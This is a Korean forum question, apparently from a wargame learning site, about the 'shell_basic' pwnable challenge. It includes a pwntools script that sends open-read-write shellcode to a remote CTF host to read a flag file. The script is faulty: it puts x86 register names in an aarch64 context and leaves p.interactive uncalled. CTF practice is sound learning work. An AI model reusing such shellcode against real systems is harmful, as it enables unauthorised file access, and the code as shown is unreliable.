완료됨
arm 칩으로 문제를 풀고 있습니다. 문제가 안풀려요.
from pwn import *
p = remote('host3.dreamhack.games',13521)
context.arch = 'aarch64'
shellcode = ''
shellcode += shellcraft.pushstr('/home/shell_basic/flag_name_is_loooooong')
shellcode += shellcraft.open('r13', 0, 0)
shellcode += shellcraft.read('r0','r13',100)
shellcode += shellcraft.write(1,'r13',100)
p.sendlineafter(': ',asm(shellcode))
p.interactive
풀이의 shellcraft를 참고하여 코드를 작성했습니다.
검색해보니 r0 -> rax , r13 -> rsp 라고 설명이 되어있어서 원래 코드에서 수정해서 작성하였습니다.
그러나 작성하고나니까,
File "", line 1, in <module>
NameError: name 'r0' is not defined
[*] Closed connection to host3.dreamhack.games port 13521
이렇게 오류가 뜨네요
어떻게 풀어야하는지 모르곘어요 ㅜㅜ 윈도우 데스크탑이 없어서 현재 칼리리눅스 utm으로 돌리는 중입니다.
그리고 궁금증이 있는데, shellcraft에서 0x100이 들어가는 이유를 모르곘어요. 왜 0x100인가요? 데이터를 넉넉하게 받기 위해 0x100만큼 받는건가요?
#pwnable
작성자 정보